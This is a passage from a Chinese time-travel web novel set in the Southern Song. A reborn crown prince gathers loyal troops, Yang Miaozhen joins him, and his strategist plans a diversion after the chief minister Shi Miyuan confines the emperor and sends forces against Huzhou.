余阶来回踱步,思虑了一阵,这才抬起头“:殿下,现在走海路,已经是不可能了,到时若是咱们的海船被史弥远堵在钱塘口内,前不能登岸,后又无退路,便只剩死路一条了。所以,小弟认为,咱们应当兵分两路,殿下你带着孟老将军交给您的五百忠顺军精锐骑兵,和众位兄弟,骑马抄近路赶赴襄阳,面见圣上。
殿下切记,只要您活着见到圣上,咱们就还有得救。若不如此,史弥远带兵各处搜捕我等,以我等这点兵丁,如何斗得过他?要知道,临安附近得御前军加起来,足有三十余万众。
而小弟则率领余下步军,赶赴湖州,在湖州,殿下不是招募了一些乡民操练吗?小弟现在便去看看他们安危与否,若是安全,到时小弟两军会合,再去临安会和殿下。”
第一百二十一回 宋宇再整军 彭义斌骂舅
宋宇听了余阶的计策,皱眉思索起来,许久,才抬起头说道“:兄弟,我觉得这样做很是不妥,咱们兵马太少,即使我侥幸见到了父皇,万一父皇也被软禁,到时,岂不是自投罗网?”
“:殿下,你是说,史弥远有胆量软禁皇上?”余阶皱眉问道。
宋宇点点头,心中暗道:要说余阶不相信史弥远有那个胆量,情有可原,但自己必须得想到这一点,因为这史弥远,已经找好了备胎,就是那个历史上的理宗赵昀,只要自己出事,他史弥远便会拥立理宗即位。
现在想来,由于自己的到来,史弥远的计划恐怕已经提前了。要真是这样,那自己那个便宜老爹宁宗现在的情况......
宋宇不敢再想下去,一脸严肃的对余阶说道“;现在只怕父皇有难,已经被软禁,咱们唯一的办法,便是赶去御前军马军驻扎地,将这支军队掌握到咱们手中,这样,才有的一拼。”
身边众人听了宋宇之言,都是面露疑惑之色,有些不明白,太子究竟是怎么猜出来,他史弥远敢软禁皇上的?
要知道,这就等于是说史弥远造返了。
宋宇见他们都是向自己投来怀疑的目光,焦急的解释道“:你们不知道,这史弥远已经在民间找了一个呆傻汉子,诈称太祖皇帝十世孙,只等将来有朝一日,父皇殡天了,便要使用瞒天过海,偷梁换柱之计,废掉本太子,拥立那呆傻汉子继位。”
‘啊?’周围一群人听了宋宇一席话,都是直吸凉气,余阶更是迫不及待的问道“:殿下,这事可不是闹着玩的,你是如何得知?”
宋宇一听他问这个,脑细胞立马**一片,其实宋宇之所以一直不和别人谈这件事,除了还没走到那一步之外,还因为宋宇没有找到他史弥远干这件事的证据。
现在余阶追问,宋宇一时真的不知道怎么回答了,难道要告诉他们,我是穿越而来?意淫而来?这或许只是我做的一场梦?你们都是我做梦梦到的所以我说有什么,他就有什么了?
很显然,宋宇不会这么说,正在宋宇苦思要怎么回答之时,突然眼前一亮,对着众人说道“:盛章不是被咱们软禁在船上么,让他下来,或许他会知道些什么。而且,本殿下还想凭着他的身份,让御前军马军侍卫司为我所用。”
周围众人听了,都是一副恍然大悟的样子,赶忙对着船上留守的士兵喊道“:殿下有令,将盛章押下来。”
哪知,留守的程保赵国两人得了令,闪进船舱内,不多时却两手空空走了出来,还齐齐大声对着宋宇喊道“;殿下,不好了,那两个蒙古小宗王,和盛章都不见啦,船舱内只留下了一张字条。“两人喊完,小步快跑向了宋宇,边请罪,边将字条交到了宋宇手上。
宋宇摆摆手,示意程保两人不用请罪,这才打开那张字条一看,就见落款人是盛章,字条上稀稀拉拉写着几行字:盛某前些时日对殿下所言,并非虚言,盛某却是皇上身边之人,只不过,盛某自认史相计谋深沉,乐善好施,善待部署,实是难得的治国贤臣,故而,在两位蒙古小宗王得搭救下,盛某不告而辞,还望殿下勿念!”
看来这盛章,摆明了是选择了史弥远,决定一条路走到黑了。而且这蒙古成吉思汗的俩孙子,也已经将筹码,押到了史弥远这个大头上,至于自己,看来拔都贵由两人,认为会输啊。
“:殿下,写的什么?”余阶等人在旁问道。
宋宇皱了皱眉“:哎...还能是什么?不过就是不喜欢本殿下,不看好本殿下和你们这帮兄弟,想要抱棵大树,舔当朝权贵的腚眼,去当哈巴狗,当帮凶,祸祸那些可怜又无力反抗的百姓们罢了。”
说到这,也不待众人说什么,宋宇突然神色一凛,怒声说道“:该死,真当我们这群穷兄弟,就翻不起多大浪来了?兄弟们,将所有兵丁全都唤过来,本殿下要和你们说几句心里话。”
众位兄弟听了令,纷纷领喏,去招呼船上得兵丁们去了。经过一通忙活,宋宇手下所有人马全都集中到了一块,只见孟家兄妹身后站着五百忠顺军骑兵,彭义斌和杨妙珍身后站着一千山东忠义军步兵,王坚身后,四百余临安澉浦水营水军,吕文德身后,一千建康水营水军,余阶等人身后,六百枣阳之战活下来的囚犯兵,加起来,三千余人马。
其实宋宇来时,本来就没打算带这么多兵马,毕竟宋宇没把问题想的那么严重,甚至一厢情愿的认为,这史弥远会等到两年后,自己的便宜老爹病死以后,才会温柔的矫诏篡立。
所以面前这忠顺军骑兵,还是孟宗正主动给了自己,说是自己更需要。宋宇当时就好奇孟宗政为什么这么做,不过转念一想,正好宋宇也想带着这些兵马,来朝廷领些赏赐。这可倒好,现在这些兵马,成了自己身边唯一的抵抗力量。
宋宇看着这些兵马,示意彭义斌过来,让他站在自己身边,再次撑起了那面龙旗,这才面容严峻的对下边这些士兵说道“:诸位,不好意思,本想领着你们,来临安请些赏赐,快活两日,这可倒好,当朝宰相史弥远,竟然擅自废了本太子,还娇诏差人前来,说本太子在襄阳**,要将本太子,押回临安受审。其实他史弥远已经娇诏在临安,软禁了我父皇,拥立了一个呆傻汉子继皇帝位,如此豁国殃民之贼,本太子敢问诸位,可敢与我共诛之?”
下边这些兵丁,说实话都是一路陪着宋宇杀过来得亲军,早已将这位太子,视作了自己等人精神与身体的双重领袖。
只见宋宇话音刚落,其中便有人开始呐喊“:殿下,太客气啦,小人们在襄阳得的赏钱,已经不少啦。殿下有何事,小人等定然赴汤蹈火!”
“:殿下,
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女**都被咱打的屁滚尿流不敢出营寨,他史弥远有女**厉害吗?哈哈哈...”
“:是啊殿下,他史弥远和史嵩之,祸祸了小的们数年,现在竟然还敢矫诏篡立,真个胆大妄为,小的们愿为殿下亲军,为殿下讨了这贼!”
“:殿下,你可知襄阳童谣有唱:
太子竑,
真英雄,
骑铁牛,
踏金兵,
有钱分穷人,
有粮送当兵,
贪官和污吏,
不敢逞豪雄。
就凭这句话,殿下,小的们这条命,您尽管拿去使唤!”
看着下边群情激奋的众人,宋宇知道,这些人,都成了自己的生死兄弟。
如此想着,宋宇笑着扫视了一圈众人,想要尽可能的记下每个人的容貌,毕竟,这一战下来,恐怕无数人要与自己阴阳永隔。
待目光停下之后,宋宇径直走向了杨妙珍,对着忠义军前边站立的杨妙珍说道“:四娘子,如今我有了大难,你们忠义军不必再为我拼命了,而且先前有言,到了健康便放你等离去,现在,是到了该履行诺言的时候了。”言毕,宋宇挥了挥手,示意杨妙珍可以走了。
杨妙珍见宋宇主动送客,轻咬红唇,想要说话,却不知道怎么开口,正在这时,自己的娘舅刘全在旁开口了“;多谢殿下深明大义,妙珍,还不快谢过太子殿下,终于肯放我等北归了!”语毕,拉着杨妙珍就要招呼忠义军离去。
却听彭义斌旁敲侧击道“:奶奶个熊,你们若走,可速走,俺老彭可做不出这等无情无义之事。”
一句话,将杨妙珍说的满脸通红:是啊,太子这人,确实是难得一见的好人,这样的人,若是被史弥远之类害**,那真是我汉人的大不幸。况且,太子不计前嫌,放了我等,我等还未报答,若现在眼见对方有难,自己转身就走,实在太过无情无义。回了山东,哪还有脸见人,哪还有脸站在山东义字旗帜下,对人说教?
想到这里,杨妙珍转头就要说话。却见旁边娘舅刘全嘴快,抢先说道“:哼,彭兄弟既然那般讲义气,那便留在这里,和殿下一起英勇报国便是,想我等山野草民,就不凑这热闹了。”
彭义斌一听这个,猛然暴起“:老匹夫,当年杨头领势穷,你个老王八蛋就数次劝他投了金狗保命,现在四娘子受过太子大恩,太子有难,你这老王八蛋非但不教好,反倒劝四娘子做出那临危而逃,畏首畏尾之事。奶奶个熊,你!你就是俺们忠义军的笑话。快滚回山东去吧,莫要在太子兄弟面前,再丢俺们山东忠义军的脸。”
“:你!你这蠢厮敢如此说我?妙珍,这姓彭的蠢厮,真真的气煞我也。赶紧替娘舅教训教训他。”
刘全被彭义斌一通辱骂,气的是两眼猩红,拽着杨妙珍衣角,是哆哆嗦嗦要让杨妙真出手教训彭义斌。
第一百二十二回 杨妙珍加入 收编建康兵
哪知杨妙珍却在旁明显有些嫌恶的开口道“:娘舅,莫要胡闹了,彭兄弟说的,并无不妥之处,咱们现在若是走了,恐怕会令天下英雄耻笑。再者,咱们手下这支忠义军,不也是李全,花钱从史弥远手中买来的么,现在领着这支军队助太子殿下一臂之力,倒也合情合理。娘舅,咱们不若帮了殿下这次,再回山东不迟。”
言罢,杨妙珍就要往前走两步,去和背对自己的太子说两句话。
哪知刘全却拉住了杨妙珍衣袖,一脸愕然的劝道“:妙珍,你疯啦?就凭太子身边这些二百五,再加上他那点兵,岂是史弥远的对手?要知道,史弥远可是大宋的枢密使啊,手握御前军几十万人马,挥手之间,我等便会被这些兵马踏为齑粉。妙珍,听娘舅一句劝,莫要因为一时义气,丢了性命。”
杨妙珍看着没骨气的娘舅,叹了口气,随即挣脱了束缚“;娘舅,你若怕死,身后有船,自行回山东便可,妙珍已经下定决心,扶保殿下登基。”
言毕,杨妙珍走到宋宇身后,一拱手说道“;殿下,妙珍决定助殿下一臂之力。”
宋宇听了杨妙珍话语,心里乐开了花:太好了,这姑娘选择了我!但面上却是表现出一副无奈至极样子,只听他长叹一口气“:唉!你这又是何苦?”
这才转过头,看向杨妙珍,“:既然如此,多谢四娘子再次相助之恩。”
杨妙珍笑着说道“;殿下这等人,若是做不得一代帝王,实是老天爷瞎了眼。”
“:殿下,这建康水营,为何只有这百多人?”正在宋宇和杨妙珍交谈,吕文德一脸疑惑的凑了上来问道。
宋宇见说,指了指军营四周那些泥土麻袋累积成的阵脚说道“:这不,全都埋伏在了四周,不过,也不知是跑光了还是怎的,到现在连个吱声的也没有。
吕文德听了宋宇解释,眉头皱成了川字,小跑着四外转了一圈,这才回来禀报道“:殿下,跑是跑了一部分,不过,还有些没跑的,现在全都躲在沙包后面,不敢出来,说是怕殿下怪罪他们,小将斗胆,替他们求个人情,这些人心眼都不坏,平素也很少作恶,还请殿下放过他们,将他们编入小将麾下,小将担保,他们定然会为殿下奋勇杀敌。“
宋宇听了吕文德之言,点了点头,忙吩咐吕文德道“:如此甚好,你把他们喊出来吧。“
其实宋宇一直都知道,这沙包后面,藏着一群胆小得兵丁,刚才下船不敢射自己,便可见一斑。
但自己一直在等他们主动走出来请罪,毕竟若是派兵逼他们,万一逼急了,他们或抵抗或跑了,反倒不美。
不过现在吕文德这位在建康水营供职多年的将军愿意出面,主动替这些人请罪,宋宇也乐得做顺水人情,爽快的便答应了吕文德的要求。
不多时,在吕文德的劝说下,那些躲在沙包后面,还未逃跑的兵丁全都站到了宋宇面前。
不出宋宇所料,几乎所有当官的,眼见统制被抓,全都跑了,就剩下些个无官无衔得白板兵。
宋宇也不废话,清了清嗓子,对着他们询问道“:史弥远造返,擅自囚禁我父皇,私立呆傻汉子为帝,本太子现在要出兵临安,讨伐于他。你们若有愿意追随者,本太子一律视为兄弟,事成之后,都是咱大宋的再造功臣。若是怕死,或是不愿加入,本太子也不勉强,你等自行离去便可。”
这群人听了宋宇之言,低头私语了一阵,齐齐将目光看向了吕文德答道“:吕将军去哪,我等便去哪。”
宋宇一听这个,心里明了,原来这群人,都和吕文德打过交道,而且看来,这群人很服吕文德。
宋宇见此,也不在废话,高兴的将他们全都交给了吕文德统领。同时将吕文德拽到了身旁,小声嘀咕道“:吕将军,你是个明白人,现在本太子势小力孤,和史弥远斗,就像是拿着鸡蛋碰石头,你若是不愿与本太子为伍,我也不怪你,你就领着这些人在健康水营做个旁观者便好,我绝对不会怨恨与你。不过,如果你愿意跟随于我,我会将你视作生死兄弟,荣辱与共。你看怎样?”
其实宋宇一路来都没有将吕文德视作兄弟,就是要让他吕文德看看,什么样的人,才配当他宋宇的兄弟。
现在一路上两人一起经历了这么多事,如今又到了生死当口,宋宇正好借此机会,考验吕文德的心性。
本以为吕文德会犹豫,哪知宋宇刚落话音,这吕文德便爽朗的答道“;殿下,您破忠义军于长江,破金兵于枣阳,实是让小将大开眼界,心服口服。谅他史弥远风流贪婪之徒,哪里会是殿下您的对手?小将愿意追随殿下,哪怕身死,亦不反悔...”
宋宇得了吕文德这这番义正言辞的效忠话,知道自己这一路来,没白忙活,还是感染了一些人的。正所谓,近朱者赤,近墨者黑。不是一家人,不进一家门。吕文德很明显选择了进宋宇的家门。而进门的规矩,就是要真心实意。
宋宇随之和吕文德又聊了几句,就见谢道清和自己的妹子王焕君走到了跟前。
只听谢道清率先开口道“:殿下,您召集人马,莫不是有大事发生?”
宋宇听谢道清这样问,也没有要瞒她的意思,直截了当的说道“:史弥远阴谋篡权废了本太子,现在已经开始动手。迫于无奈,我只好召集人手,想要杀回临安夺位。”
“:殿下,这,是真的?有杨皇后在,史弥远应当不会如此乱来吧?”谢道清听了宋宇之言,错愕之余,反问宋宇道。
宋宇见谢道清不信,并未感到意外,心道谢道清会这么问也在情理之中。
历史上,宁宗皇帝死后,史弥远和杨皇后便站在了对立面。杨皇后有意遵循宁宗遗愿,不
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过史弥远技高一筹,花钱买通了杨皇后的堂弟和两个侄子,利用他们威胁杨皇后,若不同意自己篡改诏书,便要武力上位。杨皇后到底是个女人,宫斗还行,朝堂上的权力之争却是嫩了许多。
听史弥远要来硬的,立马服软了,同意了史弥远的废立之举。不过,现在宋宇的出现,已经打乱了整个历史脉络,这杨皇后和史弥远之间会不会在擦出火花,各持一词,却是需要亲自见证了。
话不多说,就见宋宇叹了口气,深情的劝谢道清“:清儿,这一路来,麻烦了你不少,现在也是该分别的时候了。”
语毕,宋宇将自己妹子王焕君得手,和谢道清的手攥到了一起,继续说道“:本来想把小小一并托付给小妹你,不过现在看来,小小有自己的考量,其实她如此也好,省了我不少事,清儿,小妹,你们俩可在健康呆些日子,等到临安风平浪静了,再回去不迟。到时有杨皇后在,不管我与史弥远谁胜了,都不会有人为难你两个。”
宋宇还没把话说完,谢道清中途卡住话头道“;殿下,你为何总要拒清儿**里之外?清儿这一路跟你走来,多少刀光剑影,可曾怕过?”
语毕,谢道清两只手攥住了宋宇胳膊,急切的说道”:殿下,让清儿留在你身边吧,我不会拖累于你的。再者,有焕君妹子在,清儿也不会有危险的。”一席话说完,谢翱请目光灼灼的盯着宋宇。
宋宇见劝不下谢道清,一时两难,一旁的余阶见这谢道清如此坚决,让宋宇左右为难,便凑了上来“:殿下,您真是糊涂,现在您还没看明白吗?谢姑娘和您,已经绑在一块啦,想他史弥远也不是傻子,日后得势,定然会因此迁怒谢家,谢姑娘现在躲得了一时,又岂能躲得了一世?还是带上她吧!”
宋宇听了余阶的分析,皱了皱眉,默默的点了点头“:既然如此,小妹,谢姑娘便交托于你了。”
言罢,宋宇将谢道清紧紧攥着自己的手,松开了去,再次交到了王焕君手上,这才转头对着余阶说道“;其实方才我不想采用余兄弟你分兵的计策,一则我觉的这史弥远已经动手,兄弟你的计策顶不上多大的事,这二则,我将所有的希望,全都寄托到了那御前马军盛章身上,想要赌一把,将这些兵马攥在手里,到时史弥远定然不敢动咱们,即使他动手了,咱们手下御前军马军十数万,也有一拼之力,现在看来,是我想错了,这盛章,吃惯了屎,反倒吃不惯正儿八经的人饭了。兄弟,现在咱们手下就这么点人,你说怎么办吧?”
余阶听完宋宇之言,刚要回答,就见大营外边涌进来几个人,吵吵闹闹的向自己这边走了过来。
待走得近了,宋宇等人才看清,原来是杨辉!只见杨辉带领着几个手下,快步跑到了宋宇身前,跪倒在地说道“;殿下,你可回来了!“
第一百二十三回 艰难的决定 又是分别时
宋宇见杨辉从天而降来到自己跟前,又惊又喜,一把将他扶起“;兄弟,还以为你们被困了,正要整顿兵马,杀过去救你们,想不到你们竟然主动找过来了。”
杨辉听了宋宇关切的话语,心里很是感动,不过知道现在不是闲话家常的时候,赶忙说道“;殿下,前几日,史弥远忽然出兵,包围了济国公府,我等本以为大事休矣,正在苦战难支之时,韩令辉将军突然率兵杀到,救出了我等。要不然,我等只怕再也见不到殿下你了。不过府内得一干金银细软,却无法带出,全都被史弥远抄没了。”
宋宇听完杨辉的讲述,叹了口气“;要些个金银干甚?你们没事便好,克庄他们呢?”
杨辉继续说道“:我等一同厮杀,待出了城,摆脱了追兵,便奔着湖州而去。在湖州休整一日后,小弟便在刘兄长指点下,带着几个人,偷偷摸到了健康,每日在健康水营外徘徊,只等殿下归来,好告知殿下临安之事。这不,今日小弟总算等到太子殿下您了。”
说到这,杨辉语气猛然急促“;殿下,临安是万万去不得了,我等在湖州时多方打探,史弥远已经带兵封锁了临安以及周边郡县,至于要做什么,小弟却是不得而知,不过殿下现在若是回去,指定是凶多吉少啊。”
周围一群人听到这,都是倒吸了一口凉气,吃惊之余,也都暗暗佩服宋宇将这史弥远的心态拿捏得真准。
只听余阶说道“:殿下,自古以来,但凡京畿之地有大规模兵马调动,无外乎权力交接,现在看来,史弥远真如你所说,要拥立他人为帝了。现下我等必须抓紧时间,赶回临安。乘其还未将新皇拥立,昭告天下之时,破了他的计谋。一旦让其得逞,我等立马成了乱臣贼子,必将死无葬身之地。”
杨辉被余阶的话吓了一跳“:余兄弟,胡说甚?现在让殿下回去,无异于主动送上门,帮了史弥远的大忙。”
说着,转过脸对着宋宇道“;殿下,小弟劝您,登船北上,去淮东制置使处,招募勤王之兵,尚可有的一战。”
宋宇听了这俩人的建议,低头暗道:余阶的计策虽然弄险,却是说到了点上,杨辉的计策,北上借兵,无异于将事情复杂化。先不说淮东会不会站在自己一边,单是淮东夹在李全和史弥远中间这一条,便都不用考虑了。
想到这里,宋宇立马出言道“:不可能,淮东正与金人鏖战,哪有闲工夫顾得上咱们?其实现在可以选择回襄阳,那样更为稳妥,不过这将大宋一分为二的差事我可干不出来?古人言,大丈夫生于天地之间,死则死矣,奈何祸害国家百姓?”
说到这,宋宇转头对着余阶道“:兄弟,你继续说。”
余阶见宋宇否定了杨辉得逃跑计划,暗暗佩服宋宇的胆量与气魄,要知道,古往今来多少好汉,能有几人身具当年项羽势穷,仍不肯渡江的气魄?
只有具备这样心智的太子,将来面对北**虏,才不会遇难而退,三年打仗,两年称臣的闹着玩。
余阶低头思量片刻,这才一脸严肃的回答道“:现在咱们手下骑兵五百,步军三千余,还有在湖州招募的渔民若干。也算小有兵马。小弟愿率领着三千步军,换乘海船,顺江水入海。寻机潜入钱塘江口。故意放些假消息,在临安附近造些声势,吸引史弥远注意力。到时殿下您可与诸位兄弟骑马,赶到湖州与克庄兄弟会和,而于路之上,切记不可声张。待到潜入湖州之后,静等小弟那边吸引了史弥远主力。殿下则趁机杀入临安,与史弥远一战。”
宋宇听了余阶的计划,紧张的问道“:这,兄弟,史弥远定会派大军征讨你,你那边太过凶险,万一...”
余阶不置可否地一笑“:殿下,小弟有海船在手,更兼船上粮草充足,势穷之时,转而入海,谅他史弥远通天本领,茫茫大海能耐我何?”
宋宇听了余阶解释,心中豁然开朗,四周扫视了一眼众人“;你们觉得如何?”
只见孟珙站出来拱手说道“;殿下,您乃是国之储君,名正言顺的皇位继承人,谅他史弥远如何使钱,贿赂百官,想来朝中定然还会有不少忠臣傲骨,只要咱们打入临安,这些人定然会站在殿下一边。”
宋宇见孟珙第一时间站出来支持自己,倍感欣慰,拍了拍孟珙肩膀“:这辈子能和你还有在座诸位做兄弟,值了!”
随即对着又对着周围众人说道“:讲了这么久,总算有人说到了点上,其实我方才之所以不回襄阳,就是因为这点。你们别看史弥远表面风光无限,颇具实力,其实下边的人,除了真正沾了光,尝到了甜头儿的那几个心腹,下边拿的少的那些人,还真就没几个和他史弥远是一条心的,为什么?因为天下非一人之天下,乃是天下人之天下。一旦有人像史弥远一样,将天下搞成了为少数人盈利的工具,下边吃史弥远等人掉下的剩饭渣渣那些人,是不会开心的!再加上他史弥远麾下得御前军,久不识征战,上索下贿,早已糜烂至极,想来只要咱们亮出太子旗号,这些人就会像建康水营的这些兵丁一样,自乱阵脚,举兵投诚。即使有人反抗,就凭咱们手下这些兄弟兵,荡平他们,易如反掌。”
“;殿下所言极是,想当初咱们两千驴骑,就敢冲向数万金军,如今面前史弥远这些个久不识征战的糜烂之兵,咱们怕他作甚?殿下,事不宜迟,咱们现在就火速赶往湖州,集合兵马,将他史弥远的如意算盘,彻底砸碎!”周围众人听了宋宇分析,紧张感一扫而空,齐齐说道。
宋宇见众人下定了决心,也不想再多说什么,忙吩咐众人上马,而自己则带着谢道清两人,来到了一匹战马前,将谢道清轻轻抱着,扶上了马背说道“:清儿,和你在一起这么久,一直对你推来推去,从来没想过要和你生死与共。现在我想通了,要面对的,迟早是要面对的。你我二人,便一起迎着他史弥远这座高山,攀岩
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而上吧!我相信,咱们此次定然还会逢凶化吉。”
宋宇现在是彻底接受了谢道清,因为他想通了,自己一个一无所有的太子,有什么脸面和理由,要拒绝一个古代的痴情姑娘那片真心呢?
谢道清被宋宇温柔的扶上马背,又听了宋宇通透的话语,心里高兴得不得了,一点都没有大战临头的紧张感,只见她红着脸,对着宋宇说道“;殿下,民间抱女孩子上马,都是娶媳妇的时候!”
“:是吗?”宋宇一听这个,感觉自己闹了个乌龙,赶忙询问谢道清“:我是真不知道,我就是觉得你一个姑娘家,我帮你那是应该的。”
谢道清见宋宇不解风情,是真心服了他了:诶,这太子,怎么如此不解风情呢?
想归想,现在谢道清也是习惯了宋宇这情商低的憨货。索性将头一扭,也不再搭理宋宇。
宋宇见谢道清没来由的生气,憨憨的笑了笑。随即又帮王焕君上了马,嘱咐她照顾好谢道清。
这才来到了骑兵队伍面前。却见已经上了马的孟英,飞快地跳下马,随即伸出一支手,优雅的对着宋宇说道“:殿下,扶我上马!”
宋宇白了他一眼,暗道这丫头要是每天不搞点鬼灵精怪的事,她是真难消停啊!
想归想,宋宇却懒得教训她,忙向前走去,接过孟英的小手,正要扶她上马,却见孟英嘟着嘴说道“;殿下,扶她俩上马你可是笑得很开心!怎么的?到了本姑娘这,还区别对待了?”
宋宇被质问,吸了吸鼻子,强行挤出了一丝笑容,看向了孟英。
孟英瞅着宋宇别扭的笑容,冷哼一声“:好啦!本姑娘没她们俩漂亮,让殿下笑不起来!”
随即甩开宋宇的手,翻身跳上马背。
宋宇不想再过多纠缠,也矫健的跳上马背。周围众人此时也已经坐上了坐骑,整好了队伍,只等宋宇下令。
只见宋宇对着余阶和王坚吕文德说道“:你们三人走海路,肯定会比我先到临安,切记,你们是以寡击众,虚张声势诱敌,见势不妙,不可硬拼。只管退去便可。若我**,你们有粮有船,漂泊海外,寻一安身之处便好。”言罢,宋宇留恋的看了三人一眼,拍马率领身后两千骑兵奔大营南门而去。
余阶注视着宋宇离去的方向,自言自语道“;殿下,小弟知道该怎么做。倒是殿下你,此一别山高路远,一路还需多加小心。”
语毕,随即吩咐王坚吕文德整顿兵士,装载粮草。登船奔长江口外,千里黄沙而去。
七百里外,临安相府内。史弥远正一脸惬意的在听夏镇禀报。只见站立于厅堂正中央得夏镇,双手抱拳,粗声粗气的说道“;恩相,在下多方打探,终于找到了太子府余党的去向。这群人那日杀出重围,混出临安后,便北上去了湖州。那湖州知府姜汝城,竟然在我等询问之下,隐瞒他们行踪,若非在下多了个心眼,派人混进城内多方打探,险被他们蒙混过关了。”
第一百二十四回 临安要变天 湖州姜汝城
史弥远听了禀报,抖动着满脸肥肉说道“;这姜汝城,乃是赵扩那个老糊涂故意安排在临安北门户湖州的,目的就是要给本相提个醒,这大宋,是他老赵家的。现在他出面包庇太子余党,也不稀奇。”
“:恩相,要不要现在就点齐兵马,围了湖州?”夏镇抱拳继续问道。
史弥远习惯性的将目光放到了薛极身上“:薛大人,你觉得现在咱们明目张胆的调动兵马,是否妥当?”
薛极一看史弥远现在还对大张旗鼓的动用兵马犹豫不决,立马站了出来“:恩相,现在可是千钧一发之时,您怎么还犹豫不决?要知道,现在皇上已经被我等囚在凤凰别苑,朝中耿直的大臣,也都被严加监管于宅内不得外出。如此紧要关头,怎能容得纰漏?下官以为,恩相应当迅速发兵讨了这群人。好在日后登基大典之上,不会出什么幺蛾子!”
薛极之所以这么着急劝史弥远动手。并不是拍脑袋随口一说。话说自打宋宇出了临安,薛极就像疯了似的,一直不间断的劝史弥远动手。
原因很简单,薛极认为宋宇是个刺头,史嵩之十有**会被他摆平。但史弥远对薛极所言一直没有采纳,因为旁边郑清之一直劝史弥远再等等。直到左等右等,明显都超过了临安到襄阳的使者,往来所用时间数日。史弥远这才心里没底了。
招来薛极等人问计。薛极和夏镇是力挺动手篡位之事。郑清之孤掌难鸣,只好选择了沉默。
其实要说郑清之这人吧,并不是宋宇一派,可为什么他始终要劝史弥远再等等呢?因为他太在乎名声了。郑清之认为,史弥远扶持一个亲近自己的傻皇帝这个可以理解,但要是不等宁宗死就提前篡位,这个郑清之真接受不了,古往今来多少篡位的,哪一个不是被史书大书特书,一臭就是上千年?
但话又说回来,郑清之在史弥远这里,除了提意见,就连反对都不敢,他又能咋样?
就这样,史弥远主意已定,便吩咐夏镇,领兵圈禁了宋宁宗。同时让夏镇带领心腹禁军,包围了宋宇府邸,想要将这太子府一锅端了。
哪知就在即将得手之时,韩令辉这个怪胎放着好好的日子不过,却突然打肿脸充胖子,杀了出来,救走了刘克庄等人。
要说宋宇这帮子兄弟,是又命大,又讲义气,还有本事。这要是搁了后世,别说三言两语认识的兄弟了,就算是亲生的骨肉兄弟,碰上这等子事,十之**也会事不关己高高挂起了。生怕惹祸上身。
所以说,有时候,古人的价值观,未必就是后人心中想的那些。而韩令辉救了刘克庄等人后,又神不知鬼不觉的帮他们混出了临安。着实是气坏了史弥远一众人。
从那天开始,史弥远便派人四处搜捕。这不,终于在今天,打探到了刘克庄等人的藏身之处。
而史弥远之所以囚禁了宁宗这么些天,还不让假帝理宗即位,原因很简单。他们是在等良辰吉日。
而这良辰吉日,就是史弥远和杨桂芝杨皇后最终达成的妥协。没办法,杨皇后一听说史弥远要废旧立新,立马一百个不同意。
但史弥远搬出来兵马相恐吓之后,杨桂芝又如同历史上一样,妥协了。没办法,她杨皇后一个兄弟,两个侄子都被史弥远花钱买通了,在不同意,那他杨桂枝就是个傻叉了。
史弥远得了杨皇后助力,御前军三军全都掌握在了自己手中。自认为高枕无忧了,所以也就同意了杨皇后暂缓几日登基的提议。
所以现在史弥远见薛极又着急忙慌的劝自己,不耐烦的摆了摆手说道“:薛大人太过小心谨慎了。想我兄弟史嵩之,掌控京湖数万人马,更兼苦心经营襄阳一年有余,心腹骨鲠之士何其之多?谅他一个光杆太子,能翻起多大浪来?
想必我那兄弟得手之后,一时开心,忘了赶紧回报。撇开京湖不论,就说逃窜在湖州的那百八十人,能翻起多大浪?他们就算是打着太子的名义招募兵马,这天下官员将领,七成都是我等爪牙,他们又能招募到谁?要本相说,派出区区千余人,足可剿灭其等。”
史弥远是真的没把宋宇等人放在眼里。说来这也不奇怪,搁着谁,掌控天下十数年之久,要风得风,要雨得雨,更兼现在天下兵马尽归其所掌,心里有点小骄傲,也是自然!
薛极见史弥远十分不把湖州之事放在眼里,心急如焚,正要继续劝说,夏镇却跳了出来“:恩相,千八人都多了,在下愿统精兵五百,讨了湖州太子余党,若不能成,甘愿受罚。”
“:好,哈哈!夏将军真不愧是我大宋朝第一勇士。不过目下临安还离不得将军,再者,区区湖州,焉能让御前军都指挥使前去?派一偏将,足可胜任。”
史弥远见夏镇顺着自己的话说,夸奖之余,又婉转得将夏镇留在了临安。之所以把夏镇留在临安,不为别的,实是史弥远一众人中,真没几个武人。
一则这大宋能够得上高级武阶得,真是屈指可数,武位要职多由文人掌管,二则,这个时代的武人,有本事的,看不上史弥远这类**求荣之贼,宁愿屈居低位,浑噩度日,也不愿削尖了屁股往上爬。
在后世来说,这叫不入群。再则,武人看不上史弥远,这史弥远等人也着实是看不起武人,原因也很简单,武人再有本事,也只能做到如夏镇这般,值班守夜的头头罢了,钱粮做不得主,兵马调动做不得主,下边人升迁更做不得主。你说他史弥远要这些没用的玩应干嘛?
只见史弥远拒绝了夏镇,眼神在厅内一扫,停在了一处,随即皮笑肉不笑的说道“:杨谷杨石二位贤侄,可否为本相辛苦这一趟?”
杨谷杨石,杨皇后的两个侄儿,分任御前军步军指挥使司副指挥使,正指挥使不用说了,正是杨桂芝的堂弟。而这三人,史弥远钱威并施,已经纳入了麾下。
两人眼见新认的叔叔喊自己两人,屁颠屁颠的站了出来,一拱手说道“:侄儿,谨遵史叔叔吩咐。”
史弥远见这俩人很上道,十分开心,继续亲昵的说道“:好,两位侄儿果然是国之干城,本相也不废话,现差你二人,领本部人马
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三千,兵发湖州,向那湖州知府,讨要前些时日逃过去的判贼。湖州知府若是敢说半个不字,直接就地正法。”
“:侄儿,定不辱使命!还请史叔叔静等我二人凯旋!”两人得了令,告了辞,马不停蹄的整顿兵马,当天便出发了。
将目光移向湖州一座普通的宅院内,几个人正坐在桌前饮茶聊天。这几人不是别人,正是前些天大难不死,从临安逃到此处的刘克庄,华岳等人。
只听刘克庄开口道“:早就听闻姜大人贤名,今日到府一观,才知并非谣传。想你堂堂知府,房不过丈许,财不过廖以度日,一日三餐不过白米咸菜,身边多了余钱,您还分给了乡里孤寡老弱,想我大宋有您这样的官员,真是一方百姓之福啊!姜大人,在下佩服。在下总算知道,为何太子当初提到你,会信任非常。今日又逢姜大人救命之恩,真是无以言谢!”
再看姜汝城,不过四十余岁,但白发已然爬上鬓梢,或许是营养没跟上,干瘦干瘦的,看着像是六十多岁的老叟。
